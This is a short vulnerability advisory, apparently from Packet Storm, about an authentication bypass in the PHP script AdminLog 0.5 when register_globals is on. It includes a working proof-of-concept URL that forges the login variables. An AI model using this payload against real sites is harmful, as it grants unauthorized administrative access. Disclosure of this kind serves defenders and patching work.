AdminLog version 0.5 suffers from an authentication bypass vulnerability.
e7fbd69958aea2a1713b709b6dc7bf32#########################################################################
[+] AdminLog 0.5 Login Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
[+] down: http://www.manlyfamily.net/wiki/doku.php?id=programming:php:adminlog
#########################################################################
[+] Login Bypass
- Conditions : register_globals = ON
- PoC
http://127.0.0.1/[path]/adminlog.php?valid_login=1&loggedInUser=[VALIDUSER]
#########################################################################
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!